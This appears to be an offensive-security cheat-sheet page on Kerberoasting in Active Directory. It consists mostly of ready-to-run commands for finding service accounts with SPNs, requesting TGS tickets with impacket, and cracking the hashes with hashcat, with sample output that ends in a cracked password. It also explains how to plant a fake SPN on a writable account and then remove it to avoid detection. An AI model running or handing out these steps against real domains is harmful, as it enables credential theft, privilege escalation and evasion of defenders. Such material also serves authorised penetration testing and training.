Skip to content
HackIndex logo

HackIndex

Kerberoasting

4 min read Jul 10, 2026

Kerberoasting abuses the Kerberos TGS request mechanism. Any authenticated domain user can request a service ticket for any account with a Service Principal Name set. The ticket is encrypted with the service account's password hash and is returned without any special rights or group membership required. The resulting hash can be cracked offline.

Service accounts are the primary target — they tend to have weak passwords, rarely rotate, and often carry elevated privileges or local admin access on application servers.

Find Kerberoastable accounts

Identify accounts with SPNs set before requesting tickets. Prioritise accounts that are not computer objects and not krbtgt — service accounts tied to applications are the viable targets.

┌──(kali㉿kali)-[~]
└─$ # BloodyAD — filter for user accounts with SPNs, exclude krbtgt
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr sAMAccountName servicePrincipalName
 
┌──(kali㉿kali)-[~]
└─$ # nxc — dump hashes directly
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt 
sAMAccountName: svc-mssql
servicePrincipalName: MSSQLSvc/sql01.corp.local:1433

sAMAccountName: svc-http
servicePrincipalName: HTTP/web01.corp.local

Request TGS hashes

impacket-GetUserSPNs requests TGS tickets for all Kerberoastable accounts and outputs them in a crackable format. The default encryption type returned depends on what the service account supports — RC4 hashes crack faster than AES.

┌──(kali㉿kali)-[~]
└─$ # All Kerberoastable accounts
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP -request -outputfile kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # Request TGS for a specific user only
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt -request-user $TARGET_USER 
$krb5tgs$23$*svc-mssql$CORP.LOCAL$corp.local/svc-mssql*$a1b2c3d4...

Crack the hashes

RC4 TGS hashes use mode 13100. AES-128 and AES-256 hashes use modes 19600 and 19700 — significantly slower to crack. If both types are present, prioritise the RC4 hashes first.

┌──(kali㉿kali)-[~]
└─$ # Mode 13100 — TGS-REP etype 23 (RC4)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Mode 19600 — TGS-REP etype 17 (AES-128)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 19600 kerb.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Mode 19700 — TGS-REP etype 18 (AES-256)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 19700 kerb.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # With rules
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
┌──(kali㉿kali)-[~]
└─$ # Show cracked
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt --show 
$krb5tgs$23$*svc-mssql$CORP.LOCAL$...*  →  Mssql2019!

Targeted Kerberoasting via GenericWrite

If you have GenericWrite or GenericAll on a user account that has no SPN, you can set one yourself. This makes any writable user account Kerberoastable. Remove the SPN after cracking to avoid leaving a detectable artefact.

┌──(kali㉿kali)-[~]
└─$ # Requires GenericWrite or GenericAll on the target account
┌──(kali㉿kali)-[~]
└─$ # Set a fake SPN on the target user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/spn'
 
┌──(kali㉿kali)-[~]
└─$ # Request TGS for the new SPN
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Remove SPN after cracking
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove object $TARGET_USER servicePrincipalName -v 'fake/spn'

A cracked service account password gives authenticated access to whatever services that account is tied to. Check the SPN to identify the target service — MSSQLSvc, HTTP, CIFS, and HOST are the most impactful. Re-run Object Enumeration under the cracked account to check group memberships and writable objects before moving to the service directly. Cracked passwords often allow Pass-the-Hash or direct AD Remote Execution. For TGS ticket mechanics and Kerberos-specific exploitation context, see Kerberoasting (service page).

References